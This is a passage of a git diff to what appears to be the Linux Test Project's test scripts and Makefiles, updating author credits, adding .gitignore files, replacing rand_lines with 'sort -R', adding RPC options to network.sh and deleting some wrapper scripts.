+++ b/testcases/realtime/func/prio-preempt/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/prio-wake/.gitignore b/testcases/realtime/func/prio-wake/.gitignore
new file mode 100644
index 0000000..f179a69
--- /dev/null
+++ b/testcases/realtime/func/prio-wake/.gitignore
@@ -0,0 +1 @@
+/prio-wake
diff --git a/testcases/realtime/func/prio-wake/Makefile b/testcases/realtime/func/prio-wake/Makefile
index 6cea976..528f472 100644
--- a/testcases/realtime/func/prio-wake/Makefile
+++ b/testcases/realtime/func/prio-wake/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/pthread_kill_latency/.gitignore b/testcases/realtime/func/pthread_kill_latency/.gitignore
new file mode 100644
index 0000000..0b90032
--- /dev/null
+++ b/testcases/realtime/func/pthread_kill_latency/.gitignore
@@ -0,0 +1 @@
+/pthread_kill_latency
diff --git a/testcases/realtime/func/pthread_kill_latency/Makefile b/testcases/realtime/func/pthread_kill_latency/Makefile
index fd3a059..cac3ad8 100644
--- a/testcases/realtime/func/pthread_kill_latency/Makefile
+++ b/testcases/realtime/func/pthread_kill_latency/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/rt-migrate/.gitignore b/testcases/realtime/func/rt-migrate/.gitignore
new file mode 100644
index 0000000..05fb267
--- /dev/null
+++ b/testcases/realtime/func/rt-migrate/.gitignore
@@ -0,0 +1 @@
+/rt-migrate
diff --git a/testcases/realtime/func/rt-migrate/Makefile b/testcases/realtime/func/rt-migrate/Makefile
index ae4f610..1af8807 100644
--- a/testcases/realtime/func/rt-migrate/Makefile
+++ b/testcases/realtime/func/rt-migrate/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/sched_football/.gitignore b/testcases/realtime/func/sched_football/.gitignore
new file mode 100644
index 0000000..03606ce
--- /dev/null
+++ b/testcases/realtime/func/sched_football/.gitignore
@@ -0,0 +1 @@
+/sched_football
diff --git a/testcases/realtime/func/sched_football/Makefile b/testcases/realtime/func/sched_football/Makefile
index a5117fd..61753f0 100644
--- a/testcases/realtime/func/sched_football/Makefile
+++ b/testcases/realtime/func/sched_football/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/sched_jitter/.gitignore b/testcases/realtime/func/sched_jitter/.gitignore
new file mode 100644
index 0000000..cb177b7
--- /dev/null
+++ b/testcases/realtime/func/sched_jitter/.gitignore
@@ -0,0 +1 @@
+/sched_jitter
diff --git a/testcases/realtime/func/sched_jitter/Makefile b/testcases/realtime/func/sched_jitter/Makefile
index 827a0db..2532304 100644
--- a/testcases/realtime/func/sched_jitter/Makefile
+++ b/testcases/realtime/func/sched_jitter/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/sched_latency/.gitignore b/testcases/realtime/func/sched_latency/.gitignore
new file mode 100644
index 0000000..e4e67a9
--- /dev/null
+++ b/testcases/realtime/func/sched_latency/.gitignore
@@ -0,0 +1 @@
+/sched_latency
diff --git a/testcases/realtime/func/sched_latency/Makefile b/testcases/realtime/func/sched_latency/Makefile
index b7327df..a730697 100644
--- a/testcases/realtime/func/sched_latency/Makefile
+++ b/testcases/realtime/func/sched_latency/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/func/thread_clock/.gitignore b/testcases/realtime/func/thread_clock/.gitignore
new file mode 100644
index 0000000..76a87f8
--- /dev/null
+++ b/testcases/realtime/func/thread_clock/.gitignore
@@ -0,0 +1 @@
+/tc-2
diff --git a/testcases/realtime/func/thread_clock/Makefile b/testcases/realtime/func/thread_clock/Makefile
index 5cac451..99145aa 100644
--- a/testcases/realtime/func/thread_clock/Makefile
+++ b/testcases/realtime/func/thread_clock/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/include/.gitignore b/testcases/realtime/include/.gitignore
new file mode 100644
index 0000000..517b54d
--- /dev/null
+++ b/testcases/realtime/include/.gitignore
@@ -0,0 +1,2 @@
+/realtime_config.h
+/stamp-h1
diff --git a/testcases/realtime/lib/Makefile b/testcases/realtime/lib/Makefile
index fc4784b..2986938 100644
--- a/testcases/realtime/lib/Makefile
+++ b/testcases/realtime/lib/Makefile
@@ -18,14 +18,16 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../..
 
 include $(top_srcdir)/include/mk/env_pre.mk
 
-CFLAGS			+= -D_GNU_SOURCE -I../include/
+CFLAGS			+= -D_GNU_SOURCE\
+			   -I$(top_srcdir)/testcases/realtime/include/\
+			   -I$(top_builddir)/testcases/realtime/include/
 
 LDLIBS			+= -lpthread -lrt -lm
 
diff --git a/testcases/realtime/m4/.gitignore b/testcases/realtime/m4/.gitignore
new file mode 100644
index 0000000..5fc607b
--- /dev/null
+++ b/testcases/realtime/m4/.gitignore
@@ -0,0 +1 @@
+/Makefile
diff --git a/testcases/realtime/m4/GNUmakefile b/testcases/realtime/m4/GNUmakefile
index 24123e6..2a5b4c6 100644
--- a/testcases/realtime/m4/GNUmakefile
+++ b/testcases/realtime/m4/GNUmakefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/realtime/perf/Makefile b/testcases/realtime/perf/Makefile
index bf0368d..8d91f5a 100644
--- a/testcases/realtime/perf/Makefile
+++ b/testcases/realtime/perf/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/realtime/perf/latency/.gitignore b/testcases/realtime/perf/latency/.gitignore
new file mode 100644
index 0000000..9042047
--- /dev/null
+++ b/testcases/realtime/perf/latency/.gitignore
@@ -0,0 +1,2 @@
+/pthread_cond_latency
+/pthread_cond_many
diff --git a/testcases/realtime/perf/latency/Makefile b/testcases/realtime/perf/latency/Makefile
index e8f3345..17661aa 100644
--- a/testcases/realtime/perf/latency/Makefile
+++ b/testcases/realtime/perf/latency/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testcases/realtime/perf/latency/run_auto.sh b/testcases/realtime/perf/latency/run_auto.sh
index 2c0d203..3311c1e 100755
--- a/testcases/realtime/perf/latency/run_auto.sh
+++ b/testcases/realtime/perf/latency/run_auto.sh
@@ -8,9 +8,9 @@
 source $SCRIPTS_DIR/setenv.sh
 LOG_FILE="$LOG_DIR/$LOG_FORMAT-pthread_cond_many.log"
 
-echo -e "Logging to: " | tee -a $LOG_FILE
-echo -e "$LOG_FILE " | tee -a $LOG_FILE
-echo -e "and to local individual .out files " | tee -a $LOG_FILE
+echo "Logging to: " | tee -a $LOG_FILE
+echo "$LOG_FILE " | tee -a $LOG_FILE
+echo "and to local individual .out files " | tee -a $LOG_FILE
 
 #
 # make will eventually go away from here, as will the above echoes
@@ -26,10 +26,10 @@
 iter=400
 nproc=5
 
-echo -e "pthread_cond_many configuration:" | tee -a $LOG_FILE
-echo -e "number of threads = $nthread " | tee -a $LOG_FILE
-echo -e "number of iterations = $iter " | tee -a $LOG_FILE
-echo -e "number of processes = $nproc " | tee -a $LOG_FILE
+echo "pthread_cond_many configuration:" | tee -a $LOG_FILE
+echo "number of threads = $nthread " | tee -a $LOG_FILE
+echo "number of iterations = $iter " | tee -a $LOG_FILE
+echo "number of processes = $nproc " | tee -a $LOG_FILE
 
 # Remove any existing local log files
 rm -f $nthread.$iter.$nproc.*.out
diff --git a/testcases/realtime/run.sh b/testcases/realtime/run.sh
index 07bdc83..174b36d 100755
--- a/testcases/realtime/run.sh
+++ b/testcases/realtime/run.sh
@@ -71,9 +71,9 @@
 	pushd $TESTS_DIR >/dev/null
 	for file in `find -name run_auto.sh`
 	do
-		echo -e " `dirname  $file `"
+		echo " `dirname  $file `"
 	done
-		echo -e " \n"
+		printf " \n\n"
 }
 
 run_test()
@@ -103,7 +103,7 @@
 		fi
 		pushd $TESTS_DIR >/dev/null
 	else
-		echo -e "\n $test is not a valid test subdirectory "
+		printf "\n $test is not a valid test subdirectory \n"
 		usage
 		exit 1
 	fi
diff --git a/testcases/realtime/stress/Makefile b/testcases/realtime/stress/Makefile
index ad10e69..5111531 100644
--- a/testcases/realtime/stress/Makefile
+++ b/testcases/realtime/stress/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../..
diff --git a/testcases/realtime/stress/pi-tests/.gitignore b/testcases/realtime/stress/pi-tests/.gitignore
new file mode 100644
index 0000000..4cc2e90
--- /dev/null
+++ b/testcases/realtime/stress/pi-tests/.gitignore
@@ -0,0 +1,2 @@
+/lookup_pi_state
+/testpi-3
diff --git a/testcases/realtime/stress/pi-tests/Makefile b/testcases/realtime/stress/pi-tests/Makefile
index 5edc3b4..1881f75 100644
--- a/testcases/realtime/stress/pi-tests/Makefile
+++ b/testcases/realtime/stress/pi-tests/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, September 2009
+# Ngie Cooper, September 2009
 #
 
 top_srcdir		?= ../../../..
diff --git a/testscripts/Makefile b/testscripts/Makefile
index c0cec15..9bae489 100644
--- a/testscripts/Makefile
+++ b/testscripts/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, December 2009
+# Ngie Cooper, December 2009
 #
 
 top_srcdir		?= ..
diff --git a/testscripts/build/build_test_function.sh b/testscripts/build/build_test_function.sh
index a70642d..9ba5582 100755
--- a/testscripts/build/build_test_function.sh
+++ b/testscripts/build/build_test_function.sh
@@ -16,7 +16,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 #
 
 # Temporary directory setup.
diff --git a/testscripts/build/default_runtest_set.awk b/testscripts/build/default_runtest_set.awk
index 38ea912..dcd4a47 100755
--- a/testscripts/build/default_runtest_set.awk
+++ b/testscripts/build/default_runtest_set.awk
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 # Invoke this awk script like:
 #
diff --git a/testscripts/build/ltp-missing-install-files.py b/testscripts/build/ltp-missing-install-files.py
index 612ae5d..1ab40a0 100755
--- a/testscripts/build/ltp-missing-install-files.py
+++ b/testscripts/build/ltp-missing-install-files.py
@@ -19,7 +19,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 # Please invoke this script with --help to determine usage.
 #
diff --git a/testscripts/build/test_install_in_build_tree.sh b/testscripts/build/test_install_in_build_tree.sh
index e1a8d94..5626e0f 100755
--- a/testscripts/build/test_install_in_build_tree.sh
+++ b/testscripts/build/test_install_in_build_tree.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 
 export PATH="${0%/*}:$PATH"
 
diff --git a/testscripts/build/test_install_out_of_build_tree.sh b/testscripts/build/test_install_out_of_build_tree.sh
index 307cf65..8962e13 100755
--- a/testscripts/build/test_install_out_of_build_tree.sh
+++ b/testscripts/build/test_install_out_of_build_tree.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 
 export PATH="${0%/*}:$PATH"
 
diff --git a/testscripts/build/test_out_of_build_tree.sh b/testscripts/build/test_out_of_build_tree.sh
index 275a68a..4223b90 100755
--- a/testscripts/build/test_out_of_build_tree.sh
+++ b/testscripts/build/test_out_of_build_tree.sh
@@ -18,7 +18,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, January 2010
+# Ngie Cooper, January 2010
 
 export PATH="${0%/*}:$PATH"
 
diff --git a/testscripts/ltp-aiodio.sh b/testscripts/ltp-aiodio.sh
index 2bd5dbf..06ea534 100755
--- a/testscripts/ltp-aiodio.sh
+++ b/testscripts/ltp-aiodio.sh
@@ -229,7 +229,7 @@
 date
 echo "************ Running aio-stress tests "
 echo "current working dir = ${PWD}"
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltp-aio-stress.part1 > ${TMPBASE}/ltp-aio-stress.part1
+sort -R ${LTPROOT}/runtest/ltp-aio-stress.part1 -o ${TMPBASE}/ltp-aio-stress.part1
 
 ${LTPROOT}/bin/ltp-pan -e -S -a ltpaiostresspart1 -n ltp-aiostresspart1 -l ltpaiostress.logfile -o ltpaiostress.outfile -p -f ${TMPBASE}/ltp-aio-stress.part1 &
 
@@ -241,7 +241,7 @@
 
 if [ "$runExtendedStress" -eq 1 ];then
 echo "************ Running EXTENDED aio-stress tests "
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltp-aio-stress.part2 > ${TMPBASE}/ltp-aio-stress.part2
+sort -R ${LTPROOT}/runtest/ltp-aio-stress.part2 -o ${TMPBASE}/ltp-aio-stress.part2
 
 ${LTPROOT}/bin/ltp-pan -e -S -a ltpaiostresspart2 -n ltp-aiostresspart2 -l ltpaiostress.logfile -o ltpaiostress.outfile -p -f ${TMPBASE}/ltp-aio-stress.part2 &
 
@@ -256,7 +256,7 @@
 dd if=$file1 of=$TMP/aiodio/ff3      bs=512  conv=block,sync
 
 echo "************ Running aiocp tests "
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltp-aiodio.part1 > ${TMPBASE}/ltp-aiodio.part1
+sort -R ${LTPROOT}/runtest/ltp-aiodio.part1 -o ${TMPBASE}/ltp-aiodio.part1
 
 ${LTPROOT}/bin/ltp-pan -e -S -a ltpaiodiopart1 -n ltp-aiodiopart1 -l ltpaiodio1.logfile -o ltpaiodio1.outfile -p -f ${TMPBASE}/ltp-aiodio.part1 &
 
@@ -266,7 +266,7 @@
 echo ""
 
 echo "************ Running aiodio_sparse tests "
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltp-aiodio.part2 > ${TMPBASE}/ltp-aiodio.part2
+sort -R ${LTPROOT}/runtest/ltp-aiodio.part2 -o ${TMPBASE}/ltp-aiodio.part2
 
 ${LTPROOT}/bin/ltp-pan -e -S -a ltpaiodiopart2 -n ltp-aiodiopart2 -l ltpaiodio2.logfile -o ltpaiodio2.outfile -p -f ${TMPBASE}/ltp-aiodio.part2 &
 
@@ -278,7 +278,7 @@
 
 if [ "$runExtendedStress" -eq 1 ];then
 echo "************ Running fsx-linux tests "
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltp-aiodio.part3 > ${TMPBASE}/ltp-aiodio.part3
+sort -R ${LTPROOT}/runtest/ltp-aiodio.part3 -o ${TMPBASE}/ltp-aiodio.part3
 
 ${LTPROOT}/bin/ltp-pan -e -S -a ltpaiodiopart3 -n ltp-aiodiopart3 -l ltpaiodio3.logfile -o ltpaiodio3.outfile -p -f ${TMPBASE}/ltp-aiodio.part3 &
 
@@ -297,7 +297,7 @@
 
 
 echo "************ Running dio_sparse & miscellaneous tests "
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/ltp-aiodio.part4 > ${TMPBASE}/ltp-aiodio.part4
+sort -R ${LTPROOT}/runtest/ltp-aiodio.part4 -o ${TMPBASE}/ltp-aiodio.part4
 ${LTPROOT}/bin/ltp-pan -e -S -a ltpaiodiopart4 -n ltp-aiodiopart4 -l ltpaiodio4.logfile -o ltpaiodio4.outfile -p -f ${TMPBASE}/ltp-aiodio.part4 &
 
 wait $!
diff --git a/testscripts/ltp-scsi_debug.sh b/testscripts/ltp-scsi_debug.sh
index fc3cec3..3785300 100755
--- a/testscripts/ltp-scsi_debug.sh
+++ b/testscripts/ltp-scsi_debug.sh
@@ -204,7 +204,7 @@
 
 echo "----- Running tests ----- "
 echo "The test may take about 2 hours to finish..."
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/scsi_debug.part1 > ${TMPBASE}/scsi_debug
+sort -R ${LTPROOT}/runtest/scsi_debug.part1 -o ${TMPBASE}/scsi_debug
 
 ${LTPROOT}/bin/ltp-pan -e -S -a scsi_debug -n scsi_debug -l ${TMPBASE}/fs-scsi_debug.log -o ${TMPBASE}/fs-scsi_debug.out -f ${TMPBASE}/scsi_debug
 
diff --git a/testscripts/ltpfslvm.sh b/testscripts/ltpfslvm.sh
index 0712322..a90d065 100755
--- a/testscripts/ltpfslvm.sh
+++ b/testscripts/ltpfslvm.sh
@@ -156,7 +156,7 @@
 mount -v /dev/ram                       /test/growfiles/ramdisk
 
 echo "************ Running tests "
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/lvm.part1 > ${TMPBASE}/lvm.part1
+sort -R ${LTPROOT}/runtest/lvm.part1 -o ${TMPBASE}/lvm.part1
 
 ${LTPROOT}/bin/ltp-pan -e -S -a lvmpart1 -n lvmpart1 -l lvmlogfile -f ${TMPBASE}/lvm.part1 &
 
@@ -188,7 +188,7 @@
 mount -v -t jfs    /dev/hdc1           /test/growfiles/jfs
 
 echo "************ Running EXT3 & JFS tests...  "
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/lvm.part2 > ${TMPBASE}/lvm.part2
+sort -R ${LTPROOT}/runtest/lvm.part2 -o ${TMPBASE}/lvm.part2
 
 ${LTPROOT}/bin/ltp-pan -e -S -a lvmpart2 -n lvmpart2 -l lvmlogfile -f ${TMPBASE}/lvm.part2 &
 
diff --git a/testscripts/ltpfsnolvm.sh b/testscripts/ltpfsnolvm.sh
index 81904ac..26dac01 100755
--- a/testscripts/ltpfsnolvm.sh
+++ b/testscripts/ltpfsnolvm.sh
@@ -116,7 +116,7 @@
 mount -v /dev/ram                       /test/growfiles/ramdisk
 
 echo "************ Running tests "
-${LTPROOT}/../bin/rand_lines -g ${LTPROOT}/../runtest/lvm.part1 > ${TMPBASE}/lvm.part1
+sort -R ${LTPROOT}/../runtest/lvm.part1 -o ${TMPBASE}/lvm.part1
 
 ${LTPROOT}/../bin/ltp-pan -e -S -a lvmpart1 -n lvmpart1 -l lvmlogfile -f ${TMPBASE}/lvm.part1 &
 
@@ -138,7 +138,7 @@
 mount -v -t jfs    /dev/$part1         /test/growfiles/jfs
 
 echo "************ Running EXT3 & JFS tests...  "
-${LTPROOT}/../bin/rand_lines -g ${LTPROOT}/../runtest/lvm.part2 > ${TMPBASE}/lvm.part2
+sort -R ${LTPROOT}/../runtest/lvm.part2 -o ${TMPBASE}/lvm.part2
 
 ${LTPROOT}/../bin/ltp-pan -e -S -a lvmpart2 -n lvmpart2 -l lvmlogfile -f ${TMPBASE}/lvm.part2 &
 
diff --git a/testscripts/ltpstress.sh b/testscripts/ltpstress.sh
index 651d3da..a487db5 100755
--- a/testscripts/ltpstress.sh
+++ b/testscripts/ltpstress.sh
@@ -274,9 +274,9 @@
 if [ $NO_NETWORK -eq 0 ];then
  netpipe.sh >/dev/null 2>/dev/null &
 fi
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/stress.part1 > ${TMP}/stress.part1
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/stress.part2 > ${TMP}/stress.part2
-${LTPROOT}/bin/rand_lines -g ${LTPROOT}/runtest/stress.part3 > ${TMP}/stress.part3
+sort -R ${LTPROOT}/runtest/stress.part1 -o ${TMP}/stress.part1
+sort -R ${LTPROOT}/runtest/stress.part2 -o ${TMP}/stress.part2
+sort -R ${LTPROOT}/runtest/stress.part3 -o ${TMP}/stress.part3
 
 sleep 2
 
diff --git a/testscripts/math.sh b/testscripts/math.sh
deleted file mode 100755
index 0d709fb..0000000
--- a/testscripts/math.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/sh
-cd `dirname $0`
-cd ..
-./runltp -f ${PWD}/runtest/math -q "$@"
diff --git a/testscripts/network.sh b/testscripts/network.sh
index 66bacef..a656bc2 100755
--- a/testscripts/network.sh
+++ b/testscripts/network.sh
@@ -1,8 +1,5 @@
 #!/bin/sh
 
-TST_TOTAL=1
-TCID="network_settings"
-
 cd $(dirname $0)
 export LTPROOT=${LTPROOT:-"$PWD"}
 echo $LTPROOT | grep -q testscripts
@@ -11,8 +8,6 @@
 	export LTPROOT=${PWD}
 fi
 
-. test_net.sh
-
 export TMPDIR=/tmp/netpan-$$
 mkdir -p $TMPDIR
 CMDFILE=${TMPDIR}/network.tests
@@ -20,11 +15,6 @@
 
 export PATH="${PATH}:${LTPROOT}/testcases/bin"
 
-# Reset variables.
-# Don't break the tests which are using 'testcases/lib/cmdlib.sh'
-export TCID=
-export TST_LIB_LOADED=
-
 usage()
 {
 	echo "Usage: $0 OPTIONS"
@@ -34,7 +24,9 @@
 	echo "  -r    RPC tests"
 	echo "  -s    SCTP tests"
 	echo "  -t    TCP/IP command tests"
-	echo "  -a    Application tests (HTTP, SSH, DNS)"
+	echo "  -c    TI-RPC tests"
+	echo "  -d    TS-RPC tests"
+	echo "  -a    Application stress tests (HTTP, SSH, DNS)"
 	echo "  -e    Interface stress tests"
 	echo "  -b    Stress tests with malformed ICMP packets"
 	echo "  -i    IPsec ICMP stress tests"
@@ -50,15 +42,17 @@
 
 TEST_CASES=
 
-while getopts 6mnrstaebiTURMFf:Vvh OPTION
+while getopts 6mnrstaebcdiTURMFf:Vvh OPTION
 do
 	case $OPTION in
 	6) TEST_CASES="$TEST_CASES net.ipv6 net.ipv6_lib";;
-	m) TEST_CASES="$TEST_CASES net.multicast" ;;
-	n) TEST_CASES="$TEST_CASES net.nfs" ;;
-	r) TEST_CASES="$TEST_CASES net.rpc" ;;
-	s) TEST_CASES="$TEST_CASES net.sctp" ;;
-	t) TEST_CASES="$TEST_CASES net.tcp_cmds" ;;
+	m) TEST_CASES="$TEST_CASES net.multicast";;
+	n) TEST_CASES="$TEST_CASES net.nfs";;
+	r) TEST_CASES="$TEST_CASES net.rpc";;
+	s) TEST_CASES="$TEST_CASES net.sctp";;
+	t) TEST_CASES="$TEST_CASES net.tcp_cmds";;
+	c) TEST_CASES="$TEST_CASES net.rpc_tests";;
+	d) TEST_CASES="$TEST_CASES net.tirpc_tests";;
 	a) TEST_CASES="$TEST_CASES net_stress.appl";;
 	e) TEST_CASES="$TEST_CASES net_stress.interface";;
 	b) TEST_CASES="$TEST_CASES net_stress.broken_ip";;
@@ -68,10 +62,10 @@
 	R) TEST_CASES="$TEST_CASES net_stress.route";;
 	M) TEST_CASES="$TEST_CASES net_stress.multicast";;
 	F) TEST_CASES="$TEST_CASES net.features";;
-	f) TEST_CASES=${OPTARG} ;;
+	f) TEST_CASES=${OPTARG};;
 	V|v) VERBOSE="yes";;
-	h) usage; exit 0 ;;
-	*) echo "Error: invalid option..."; usage; exit 1 ;;
+	h) usage; exit 0;;
+	*) echo "Error: invalid option..."; usage; exit 1;;
 	esac
 done
 
@@ -81,6 +75,16 @@
 	exit 1
 fi
 
+TST_TOTAL=1
+TCID="network_settings"
+
+. test_net.sh
+
+# Reset variables.
+# Don't break the tests which are using 'testcases/lib/cmdlib.sh'
+export TCID=
+export TST_LIB_LOADED=
+
 rm -f $CMDFILE
 
 for t in $TEST_CASES; do
@@ -94,7 +98,7 @@
 	echo " - ${LHOST_IFACES} local interface (MAC address: ${LHOST_HWADDRS})"
 	echo " - ${RHOST_IFACES} remote interface (MAC address: ${RHOST_HWADDRS})"
 
-	cat $TMPDIR/network_stress.tests
+	cat $CMDFILE
 	${LTPROOT}/ver_linux
 	echo ""
 	echo ${LTPROOT}/bin/ltp-pan -e -l /tmp/netpan.log -S -a ltpnet -n ltpnet -f $CMDFILE
diff --git a/testscripts/runpan.sh b/testscripts/runpan.sh
deleted file mode 100755
index 510feec..0000000
--- a/testscripts/runpan.sh
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/bin/sh
-# This will only run the quickhit tests.
-cd `dirname $0`
-LTPROOT=${PWD}
-echo $LTPROOT | grep testscripts > /dev/null 2>&1
-if [ $? -eq 0 ]; then
- cd ..
- export LTPROOT=${PWD}
-fi
-
-
-mkdir /tmp/runpan-$$
-cd /tmp/runpan-$$
-
-export PATH="${PATH}:${LTPROOT}/doio:${LTPROOT}/testcases/bin"
-
-${LTPROOT}/bin/ltp-pan -e $@ -a ltp -n ltp -f ${LTPROOT}/runtest/quickhit
-
-if [ $? -eq "0" ]; then
-  echo ltp-pan reported PASS
-else
-  echo ltp-pan reported FAIL
-fi
diff --git a/testscripts/syscalls.sh b/testscripts/syscalls.sh
deleted file mode 100755
index 24455b7..0000000
--- a/testscripts/syscalls.sh
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/sh
-cd `dirname $0`
-cd ..
-./runltp -f ${PWD}/runtest/syscalls -q "$@"
diff --git a/testscripts/test_containers.sh b/testscripts/test_containers.sh
deleted file mode 100755
index 9183764..0000000
--- a/testscripts/test_containers.sh
+++ /dev/null
@@ -1,47 +0,0 @@
-#!/bin/bash
-#
-# Copyright 2007 IBM
-#
-# This program is free software; you can redistribute it and/or modify it
-# under the terms of the GNU General Public License as published by the Free
-# Software Foundation; either version 2 of the License, or (at your option)
-# any later version.
-#
-# test_containers.sh - Run the containers test suite.
-
-# Must be root to run the containers testsuite
-if [ $UID != 0 ]
-then
-        echo "FAILED: Must be root to execute this script"
-        exit 1
-fi
-
-# set the LTPROOT directory
-cd `dirname $0`
-LTPROOT=${PWD}
-echo $LTPROOT | grep testscripts > /dev/null 2>&1
-if [ $? -eq 0 ]
-then
-	cd ..
-	LTPROOT=${PWD}
-fi
-
-# set the PATH to include testcase/bin
-
-export PATH=$PATH:/usr/sbin:$LTPROOT/testcases/bin
-export LTPBIN=$LTPROOT/testcases/bin
-
-# We will store the logfiles in $LTPROOT/results, so make sure
-# it exists.
-if [ ! -d $LTPROOT/results ]
-then
-	mkdir $LTPROOT/results
-fi
-
-# Check the role and mode testsuite is being executed under.
-echo "Running the containers testsuite..."
-
-$LTPROOT/bin/ltp-pan -S -a $LTPROOT/results/containers -n ltp-containers -l $LTPROOT/results/containers.logfile -o $LTPROOT/results/containers.outfile -p -f $LTPROOT/runtest/containers
-
-echo "Done."
-exit 0
diff --git a/testscripts/test_filecaps.sh b/testscripts/test_filecaps.sh
deleted file mode 100755
index ecb0691..0000000
--- a/testscripts/test_filecaps.sh
+++ /dev/null
@@ -1,47 +0,0 @@
-#!/bin/bash
-#
